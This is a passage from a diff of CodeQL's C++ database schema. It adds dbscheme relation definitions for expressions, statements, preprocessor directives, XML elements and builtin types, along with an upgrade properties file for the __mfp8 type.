@istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_stmt ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/* XML Files */ + +xmlEncoding(unique int id: @file ref, string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters + | @xmlelement + | @xmlcomment + | @xmlattribute + | @xmldtd + | @file + | @xmlnamespace; diff --git a/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties new file mode 100644 index 00000000000..bc85f01c52e --- /dev/null +++ b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties @@ -0,0 +1,3 @@ +description: Support __mfp8 type +compatibility: backwards +builtintypes.rel: run builtintypes.qlo diff --git a/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/old.dbscheme b/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/old.dbscheme new file mode 100644 index 00000000000..9a7c3c14c10 --- /dev/null +++ b/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/old.dbscheme @@ -0,0 +1,2491 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/** + * Information about packages that provide code used during compilation. + * The `id` is just a unique identifier. + * The `namespace` is typically the name of the package manager that + * provided the package (e.g. "dpkg" or "yum"). + * The `package_name` is the name of the package, and `version` is its + * version (as a string). + */ +external_packages( + unique int id: @external_package, + string namespace : string ref, + string package_name : string ref, + string version : string ref +); + +/** + * Holds if File `fileid` was provided by package `package`. + */ +header_to_external_package( + int fileid : @file ref, + int package : @external_package ref +); + +/* + * Version history + */ + +svnentries( + unique int id : @svnentry, + string revision : string ref, + string author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + string action : string ref +) + +svnentrymsg( + unique int id : @svnentry ref, + string message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/* + * C++ dbscheme + */ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +@location = @location_stmt | @location_expr | @location_default ; + +/** + * The location of an element that is not an expression or a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + /** The location of an element that is not an expression or a statement. */ + unique int id: @location_default, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_stmt( + /** The location of a statement. */ + unique int id: @location_stmt, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of an expression. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_expr( + /** The location of an expression. */ + unique int id: @location_expr, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @folder | @file + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +/* +case @function.kind of + 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; +*/ + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +| 40 = @decimal32 // _Decimal32 +| 41 = @decimal64 // _Decimal64 +| 42 = @decimal128 // _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +/* +case @type_operator.kind of +| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 